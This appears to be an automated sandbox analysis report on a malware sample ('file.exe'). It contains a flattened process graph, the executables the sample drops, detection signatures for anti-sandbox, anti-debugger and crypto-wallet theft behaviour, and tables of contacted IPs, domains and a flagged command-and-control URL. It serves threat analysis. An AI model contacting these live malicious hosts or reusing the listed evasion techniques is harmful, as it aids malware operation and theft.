behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1545806 Sample: file.exe Startdate: 31/10/2024 Architecture: WINDOWS Score: 100 86 thumbystriw.store 2->86 88 presticitpo.store 2->88 90 27 other IPs or domains 2->90 112 Suricata IDS alerts for network traffic 2->112 114 Found malware configuration 2->114 116 Antivirus detection for dropped file 2->116 118 22 other signatures 2->118 9 skotes.exe 4 28 2->9         started        14 file.exe 2 2->14         started        16 skotes.exe 2->16         started        18 firefox.exe 2->18         started        signatures3 process4 dnsIp5 102 185.215.113.43, 63758, 63774, 63821 WHOLESALECONNECTIONSNL Portugal 9->102 104 41.216.183.61, 63780, 80 AS40676US South Africa 9->104 106 prod.detectportal.prod.cloudops.mozgcp.net 9->106 74 C:\Users\user\AppData\Local\Temp\...\num.exe, PE32 9->74 dropped 76 C:\Users\user\AppData\...\384a543dd0.exe, PE32 9->76 dropped 78 C:\Users\user\AppData\...\e90585a72a.exe, PE32 9->78 dropped 84 7 other malicious files 9->84 dropped 166 Creates multiple autostart registry keys 9->166 168 Hides threads from debuggers 9->168 170 Tries to detect sandboxes / dynamic malware analysis system (registry check) 9->170 20 70bf1463df.exe 9->20         started        25 e90585a72a.exe 9->25         started        27 innoinstaller.exe 2 9->27         started        35 2 other processes 9->35 108 necklacedmny.store 188.114.97.3, 443, 49730, 49731 CLOUDFLARENETUS European Union 14->108 110 185.215.113.16, 49744, 63827, 63886 WHOLESALECONNECTIONSNL Portugal 14->110 80 C:\Users\...\VG65QSLZVUGSLKDE78EZSIIG.exe, PE32 14->80 dropped 82 C:\Users\...82SXWT8JG74T0IR99MSITIVFVWS7V.exe, PE32 14->82 dropped 172 Query firmware table information (likely to detect VMs) 14->172 174 Tries to evade debugger and weak emulator (self modifying code) 14->174 176 Tries to detect virtualization through RDTSC time measurements 14->176 180 2 other signatures 14->180 29 VG65QSLZVUGSLKDE78EZSIIG.exe 4 14->29         started        31 NSXWT8JG74T0IR99MSITIVFVWS7V.exe 9 1 14->31         started        178 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 16->178 33 firefox.exe 18->33         started        file6 signatures7 process8 dnsIp9 92 188.114.96.3, 443, 63882, 63892 CLOUDFLARENETUS European Union 20->92 68 C:\Users\...\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe, PE32 20->68 dropped 70 C:\Users\user\...\IPBFM5C40FWD77UPB7GOCE.exe, PE32 20->70 dropped 140 Antivirus detection for dropped file 20->140 142 Multi AV Scanner detection for dropped file 20->142 144 Query firmware table information (likely to detect VMs) 20->144 158 3 other signatures 20->158 37 IPBFM5C40FWD77UPB7GOCE.exe 20->37         started        40 UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe 20->40         started        94 185.215.113.206, 63947, 80 WHOLESALECONNECTIONSNL Portugal 25->94 160 3 other signatures 25->160 146 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 27->146 162 2 other signatures 27->162 42 InstallUtil.exe 27->42         started        72 C:\Users\user\AppData\Local\...\skotes.exe, PE32 29->72 dropped 148 Detected unpacking (changes PE section rights) 29->148 150 Machine Learning detection for dropped file 29->150 152 Tries to evade debugger and weak emulator (self modifying code) 29->152 44 skotes.exe 29->44         started        154 Modifies windows update settings 31->154 164 4 other signatures 31->164 96 youtube.com 142.250.186.142 GOOGLEUS United States 33->96 98 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 GOOGLEUS United States 33->98 100 5 other IPs or domains 33->100 52 2 other processes 33->52 156 Binary is likely a compiled AutoIt script file 35->156 46 taskkill.exe 35->46         started        48 taskkill.exe 35->48         started        50 taskkill.exe 35->50         started        54 3 other processes 35->54 file10 signatures11 process12 signatures13 120 Tries to detect sandboxes and other dynamic analysis tools (window names) 37->120 122 Tries to evade debugger and weak emulator (self modifying code) 37->122 124 Hides threads from debuggers 37->124 126 Tries to detect sandboxes / dynamic malware analysis system (registry check) 40->126 128 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 40->128 130 Found many strings related to Crypto-Wallets (likely being stolen) 42->130 56 WerFault.exe 42->56         started        132 Antivirus detection for dropped file 44->132 134 Detected unpacking (changes PE section rights) 44->134 136 Machine Learning detection for dropped file 44->136 138 Potentially malicious time measurement code found 44->138 58 conhost.exe 46->58         started        60 conhost.exe 48->60         started        62 conhost.exe 50->62         started        64 conhost.exe 54->64         started        66 conhost.exe 54->66         started        process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
34.117.188.166
 contile.services.mozilla.com United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
188.114.97.3
 necklacedmny.store European Union
13335 CLOUDFLARENETUS true
41.216.183.61
 unknown South Africa
40676 AS40676US false
188.114.96.3
 unknown European Union
13335 CLOUDFLARENETUS true
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
142.250.186.142
 youtube.com United States
15169 GOOGLEUS false
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 true
contile.services.mozilla.com 34.117.188.166 true
youtube.com 142.250.186.142 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
us-west1.prod.sumo.prod.webservices.mozgcp.net 34.149.128.2 true
ipv4only.arpa 192.0.0.170 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
push.services.mozilla.com 34.107.243.93 true
necklacedmny.store 188.114.97.3 true
telemetry-incoming.r53-2.services.mozilla.com 34.120.208.123 true
spocs.getpocket.com unknown unknown
56.163.245.4.in-addr.arpa unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
presticitpo.store unknown unknown
support.mozilla.org unknown unknown
firefox.settings.services.mozilla.com unknown unknown
fadehairucw.store unknown unknown
15.164.165.52.in-addr.arpa unknown unknown
detectportal.firefox.com unknown unknown
thumbystriw.store unknown unknown
shavar.services.mozilla.com unknown unknown
crisiwarny.store unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    		unknown
    fadehairucw.store true
      		unknown
      http://185.215.113.206/6c4adf523b719729.php true
        		unknown
        founpiuer.store true
          		unknown
          presticitpo.store true
            		unknown